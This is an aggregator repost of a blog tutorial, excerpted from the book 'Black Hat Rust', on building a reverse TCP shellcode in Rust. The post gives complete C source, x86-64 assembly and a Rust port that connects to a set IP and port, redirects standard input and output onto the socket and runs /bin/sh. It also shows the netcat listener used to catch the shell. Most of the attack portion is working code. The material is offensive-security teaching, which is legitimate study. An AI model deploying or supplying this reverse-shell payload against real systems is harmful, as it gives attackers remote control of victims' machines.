Your Web News in One Place

Help Webnuz

Referal links:

Sign up for GreenGeeks web hosting
December 18, 2022 08:54 am GMT

Advanced shellcode in Rust

After seeing how to craft a shellcode in Rust and how to execute it, it's time to build a more advanced shellcode, in Rust too, to understand where a high-level language really shines.

A reverse TCP shellcode establishes a TCP connection to a server, spawns a shell, and forward STDIN, STOUT, and STDERR to the TCP stream. It allows an attacker with a remote exploit to take control of a machine.

This post is an excerpt from my book Black Hat Rust

Here is what it looks like in C:

#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <unistd.h>void main() {  int sock = socket(AF_INET, SOCK_STREAM, 0);  struct sockaddr_in sin;  sin.sin_family = AF_INET;  sin.sin_port = htons(8042);  inet_pton(AF_INET, "127.0.0.1", &sin.sin_addr.s_addr);  connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));  dup2(sock, STDIN_FILENO);  dup2(sock, STDOUT_FILENO);  dup2(sock, STDERR_FILENO);  char *argv[] = {"/bin/sh", NULL};  execve(argv[0], argv, NULL);}

And here is its assembly equivalent, that I found on the internet:

xor rdx, rdxmov rsi, 1mov rdi, 2mov rax, 41syscallpush 0x0100007f ; 127.0.0.1 == 0x7f000001mov bx, 0x6a1f ; 8042 = 0x1f6apush bxmov bx, 0x2push bxmov rsi, rspmov rdx, 0x10mov rdi, raxpush raxmov rax, 42syscallpop rdimov rsi, 2mov rax, 0x21syscalldec rsimov rax, 0x21syscalldec rsimov rax, 0x21syscallpush 0x68732fpush 0x6e69622fmov rdi, rspxor rdx, rdxpush rdxpush rdimov rsi, rspmov rax, 59syscall

I think I don't need further explanations about why a higher-level language is needed for advanced shellcodes.

Without further ado, let's start to port it to Rust.

First, our constants:

ch_08/reverse_tcp/src/main.rs

const PORT: u16 = 0x6A1F; // 8042const IP: u32 = 0x0100007f; // 127.0.0.1const SYS_DUP2: usize = 33;const SYS_SOCKET: usize = 41;const SYS_CONNECT: usize = 42;const SYS_EXECVE: usize = 59;const AF_INET: usize = 2;const SOCK_STREAM: usize = 1;const IPPROTO_IP: usize = 0;const STDIN: usize = 0;const STDOUT: usize = 1;const STDERR: usize = 2;

Then, the sockaddr_in struct copied from <netinet/in.h>:

#[repr(C)]struct sockaddr_in {    sin_family: u16,    sin_port: u16,    sin_addr: in_addr,    sin_zero: [u8; 8],}#[repr(C)]struct in_addr {    s_addr: u32,}

And finally, logic of our program, which take some parts of the shell shellcode.

#[no_mangle]fn _start() -> ! {    let shell: &str = "/bin/sh\x00";    let argv: [*const &str; 2] = [&shell, core::ptr::null()];    let socket_addr = sockaddr_in {        sin_family: AF_INET as u16,        sin_port: PORT,        sin_addr: in_addr { s_addr: IP },        sin_zero: [0; 8], // initialize an emtpy array    };    let socket_addr_size = core::mem::size_of::<sockaddr_in>();    unsafe {        let socket_fd = syscall3(SYS_SOCKET, AF_INET, SOCK_STREAM, IPPROTO_IP);        syscall3(            SYS_CONNECT,            socket_fd,            &socket_addr as *const sockaddr_in as usize,            socket_addr_size as usize,        );        syscall2(SYS_DUP2, socket_fd, STDIN);        syscall2(SYS_DUP2, socket_fd, STDOUT);        syscall2(SYS_DUP2, socket_fd, STDERR);        syscall3(SYS_EXECVE, shell.as_ptr() as usize, argv.as_ptr() as usize, 0);    };    loop {}}

Way more digest, isn't it?

Let's try it:

In shell 1:

$ nc -vlnp 8042Listening on 0.0.0.0 8042

In shell 2:

$ make run_tcp

And Bingo! We have our remote shell.

The code is on GitHub

As usual, you can find the code on GitHub: github.com/skerkour/black-hat-rust (please don't forget to star the repo ).

Want to learn more Rust, Offensive Security and Applied Cryptography? Take a look at my book Black Hat Rust where, among other things, you will learn how to craft more advanced shellcodes with Rust.


Original Link: https://dev.to/sylvainkerkour/advanced-shellcode-in-rust-26be

Share this article:    Share on Facebook
View Full Article

Dev To

An online community for sharing and discovering great ideas, having debates, and making friends

More About this Source Visit Dev To